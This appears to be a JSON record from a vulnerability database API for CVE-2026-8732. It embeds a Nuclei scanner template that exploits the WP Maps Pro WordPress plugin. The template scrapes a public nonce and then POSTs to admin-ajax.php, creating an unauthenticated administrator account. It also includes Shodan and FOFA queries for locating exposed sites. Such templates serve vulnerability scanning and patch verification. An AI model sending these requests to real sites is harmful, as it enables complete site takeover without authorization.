{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-8732/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-8732/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-8732/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-8732/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-8732/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-8732/enrichment"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-8732"
    },
    "vulnerability": {
      "href": "/api/v1/vulnerability/cve-2026-8732"
    }
  },
  "enrichments": {
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2026/CVE-2026-8732.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2026-8732\n\ninfo:\n  name: WP Maps Pro (wp-google-map-gold) <= 6.1.0 - Unauthenticated Administrator Account Creation\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    The WP Maps Pro plugin for WordPress is vulnerable to Privilege Escalation via Administrator Account Creation in all versions up to, and including, 6.1.0. This is due to the wpgmp_temp_access_ajax AJAX action being registered with wp_ajax_nopriv_ and protected only by a nonce check using the fc-call-nonce nonce, which is publicly embedded into every frontend page via wp_localize_script as the nonce field of the wpgmp_local JavaScript object, rendering the check ineffective as an access control mechanism. This makes it possible for unauthenticated attackers to invoke the wpgmp_temp_access_support handler with check_temp=false, which unconditionally creates a new WordPress user with the hardcoded role of administrator via wp_insert_user() and returns a magic login URL that, when visited, calls wp_set_auth_cookie() to fully authenticate the attacker as the newly created administrator, resulting in complete site takeover.\n  impact: |\n    Unauthenticated attackers can create administrator accounts and fully authenticate, leading to complete site takeover.\n  remediation: |\n    Update to the latest version beyond 6.1.0.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-8732\n    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-maps-pro/cve-2026-8732/\n    - https://github.com/xShadow-Here/CVE-2026-8732\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-8732\n    cwe-id: CWE-862\n    epss-score: 0.20388\n    epss-percentile: 0.97497\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: flippercode\n    product: wp-google-map-gold\n    fofa-query: body=\"/wp-content/plugins/wp-maps-pro/\"\n    publicwww-query: \"/wp-content/plugins/wp-maps-pro/\"\n    shodan-query: http.html:\"/wp-content/plugins/wp-maps-pro/\"\n  tags: cve,cve2026,wordpress,wp-plugin,wp-maps-pro,unauth,priv-esc,intrusive,vkev\n\nflow: http(1) && http(2)\n\nvariables:\n  username: \"{{rand_base(8)}}\"\n  email: \"{{rand_base(6)}}@{{rand_base(4)}}.com\"\n  password: \"{{rand_base(10)}}\"\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n        Accept: text/html,application/xhtml+xml\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"wpgmp_local\")'\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: nonce\n        part: body\n        group: 1\n        regex:\n          - '\"wpgmp_local\"[^;]*\"nonce\"\\s*:\\s*\"([a-f0-9]+)\"'\n          - 'wpgmp_local\\s*=\\s*\\{[^}]*\"nonce\"\\s*:\\s*\"([a-f0-9]+)\"'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=wpgmp_temp_access_ajax&nonce={{nonce}}&check_temp=false&user_login={{username}}&user_email={{email}}&user_pass={{password}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'wpgmp_access='\n          - '\"wpgmp_access\":'\n          - 'login_url'\n          - 'user_id'\n        condition: and\n\n      - type: word\n        part: body\n        words:\n          - '\"success\":true'\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022016b782fd7003dc860304e12cd5c475757dcd68b55f62046493274a61e6c0bdf7022100c14b8a079377c0723f3d2711fe77dbff7d337419255cb3282f4716a027979c4b:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2026-8732"
}